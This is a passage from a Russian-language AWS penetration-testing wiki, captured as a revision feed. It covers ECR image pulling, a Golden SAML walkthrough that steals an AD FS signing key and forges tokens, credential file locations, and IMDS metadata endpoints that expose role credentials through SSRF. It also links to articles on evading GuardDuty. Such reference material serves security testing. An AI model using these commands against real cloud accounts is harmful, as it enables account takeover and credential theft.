==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1209</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1209"/>
				<updated>2022-09-30T16:20:37Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Краткие заметки */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
